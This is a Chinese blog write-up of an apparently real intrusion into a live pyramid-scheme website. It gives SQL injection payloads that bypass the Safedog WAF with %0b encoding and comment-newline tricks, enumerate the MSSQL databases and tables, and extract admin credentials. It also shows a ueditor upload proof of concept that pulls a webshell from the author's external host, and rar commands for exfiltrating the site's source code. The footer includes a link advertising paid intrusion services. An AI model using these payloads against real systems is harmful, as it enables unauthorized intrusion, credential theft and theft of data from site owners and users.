一、前言
如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。
二、信息搜集
目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。
三、Bypass Sql
3.1 Fuzz
空格 error
加号 未拦截
等号 error
单引号 error
双引号 未拦截
双括号 未拦截
+select error
%0bselect 未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert() 未拦截
根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。
goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名
得到以下信息:
ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*\SQLEXPRESS 10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB
再往下就是获取表的信息
goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数
由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。
3.2 万金油
此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。
goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/ PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可
获取到第一个表名:jsrecord
由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下:
首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)
解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。
如图,盲猜列名txt_nickname、nickname、txt_password、password
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/
三、后台getshell
登陆后台
经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename="1.aspx"中的双引号绕过安全狗,但无法绕过程序自身的检测。
Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx
不过得知上传组件为ueditor,且.net版本存在上传漏洞
poc如下
<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <input type="submit" value="Submit" /> </form>
并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址
https://o0o0.club/a.gif?.aspx
四、打包源码与数据库
在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。
源码
这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。
rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar
数据库
略过,后台自带备份功能
坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。
五、本地搭建
本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0
SQL Server
安装过程略过
导入数据
新建数据库,然后通过原设备还原数据
还原成功
IIS与ASP.NET
安装一笔带过,左边拉满就行,简单粗暴
添加站点
最好对应目标版本
修改源码中的配置文件
访问
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 最新文章
- 随机文章
-
- ES文件管理器现严重漏洞,建议用户及时更新
- VPN如何提高您的安全性和隐私
- 命令注入新玩法:巧借环境攻击目标
- 浅析端口扫描的几种方式
- Sitadel:一款功能强大的Web应用扫描器
- FourAndSix2.01靶机渗透
- 活活将黑产搞崩溃的教务系统,你的母校可能在列
- 挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息
- 对 XSS 的一次深入分析认识
- Java Web安全之代码审计
- 挖洞经验丨看我如何挖到多个D-LINK高危漏洞
- Rex:栈溢出之Exploit自动生成
- 浅谈CSV注入漏洞
- 为Nginx加入一个使用深度学习的软WAF
- 系统安全之SSH入侵的检测与响应
- Web中间件常见漏洞总结
- 一句话木马的套路
- 类型混淆漏洞实例浅析
- 使用本地DTD文件来利用XXE漏洞实现任意结果输出
- drupal8系列框架和漏洞动态调试深入分析
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 利用Thinkphp 5缓存漏洞实现前台Getshell
- 文章标签
-